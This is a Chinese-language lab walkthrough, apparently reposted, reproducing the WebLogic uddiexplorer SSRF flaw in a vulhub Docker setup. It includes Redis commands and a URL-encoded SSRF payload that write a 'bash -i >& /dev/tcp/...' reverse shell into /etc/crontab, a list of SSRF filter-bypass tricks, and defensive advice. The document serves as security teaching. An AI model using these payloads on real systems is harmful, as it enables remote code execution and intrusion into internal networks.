Weblogic-SSRF漏洞復現


Weblogic-SSRF漏洞復現 

一、SSRF概念

服務端請求偽造(Server-Side Request Forgery),是一種有攻擊者構造形成有服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。

SSRF形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能,且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片、文檔等等。

二、SSRF用途

1.內外網的端口和服務掃描

2.主機本地敏感數據的讀取

3.內外網主機應用程序漏洞的利用

4.內外網web站點漏洞的利用

三、漏洞影響版本

weblogic 10.0.2 -- 10.3.6

四、漏洞復現環境搭建

利用vulhub進行漏洞復現,docker搭建vulhub環境參考: https://blog.csdn.net/qq_36374896/article/details/84102101

Docker-compose build

Docker-compose up -d

五、漏洞復現

1.訪問http://127.0.0.1:7001/uddiexplorer/,即可查看uddiexplorer應用

  

2.SSRF漏洞存在於http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp,提交參數值為url:port,根據返回錯誤不同,可對內網狀態進行探測如端口開放狀態等

2.1隨便輸入內容,抓包

  

2.2發現如下圖operator參數,參數的值是url,懷疑可能存在SSRF漏洞

  

2.3測試是否存在SSRF漏洞,在url后跟端口,把url修改為自己搭建的服務器地址,訪問開放的80端口,發現返回如下信息

  

2.4訪問一個不存在的端口,將返回but could not connect over HTTP to server

  

2.5通過上面的測試,可以發現目標存在SSRF漏洞

3.注入HTTP頭,利用Redis反彈shell

Weblogic的SSRF有一個比較大的特點,其雖然是一個”GET/POST”請求,但是我們可以通過傳入%0a%0d來注入換行符,某些服務(如redis)是通過換行符來分隔每條命令,本環境可以通過該SSRF攻擊內網中的redis服務器。

首先,通過ssrf探測內網中的redis服務器,應為這個漏洞是用docker環境搭建的。

3.1發送3條redis的命令,將反彈shell腳本寫入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/8888 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

3.2對命令進行URL編碼,注意不能對所有命令編碼,需要對部分特殊符號進行URL編碼

http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

  

3.3監聽,成功獲得shell

  

六、SSRF漏洞的尋找

1.分享,通過URL地址分享網頁內容

2.轉碼服務

3.在線翻譯

4.圖片加載與下載:通過URL地址加載或者下載圖片

5.圖片、文章收藏功能

6.未公開的api實現以及其他調用URL的功能

7.從URL關鍵字中尋找:share、wap、url、link、src、source、target、u、3g、display、sourceURI、imageURL、domain……

七、SSRF漏洞的驗證方法

1.因為SSRF漏洞是構造服務器發送請求的安全漏洞,所以我們可以通過抓包分析發送的請求是否是由服務器端發送的來判斷是否存在SSRF漏洞

2.在頁面源碼中查找訪問的資源地址,如果該資源地址類型為http://www.xxx.com/a.php?image=(地址)的可能存在SSRF漏洞

八、SSRF繞過技巧

1.添加端口號   http://127.0.0.1:8080

2.短網址繞過   http://dwz.cn/11SMa

3.IP限制繞過  十進制轉換、八進制轉換、十六進制轉換、不同進制組合轉換

4.協議限制繞過  當url協議限制只為http(s)時,可以利用follow redirect特性,構造302跳轉服務,結合dict://,file://,gopher://

5.可以指向任意ip的域名:xip.io

6.@    http://abc@127.0.0.1

九、SSRF防御

1.過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標准。

2.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器的端口狀態。

3.限制請求的端口為http常用的端口,比如80,443,8080,8090

4.黑名單內網ip。避免應用被用來獲取內網數據,攻擊內網

5.禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題

  

 ---------------------------------------------------------------------------------------------------

參考連接:https://www.jianshu.com/p/6bf7700139fa

    https://www.jianshu.com/p/d1d1c40f6d4c


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM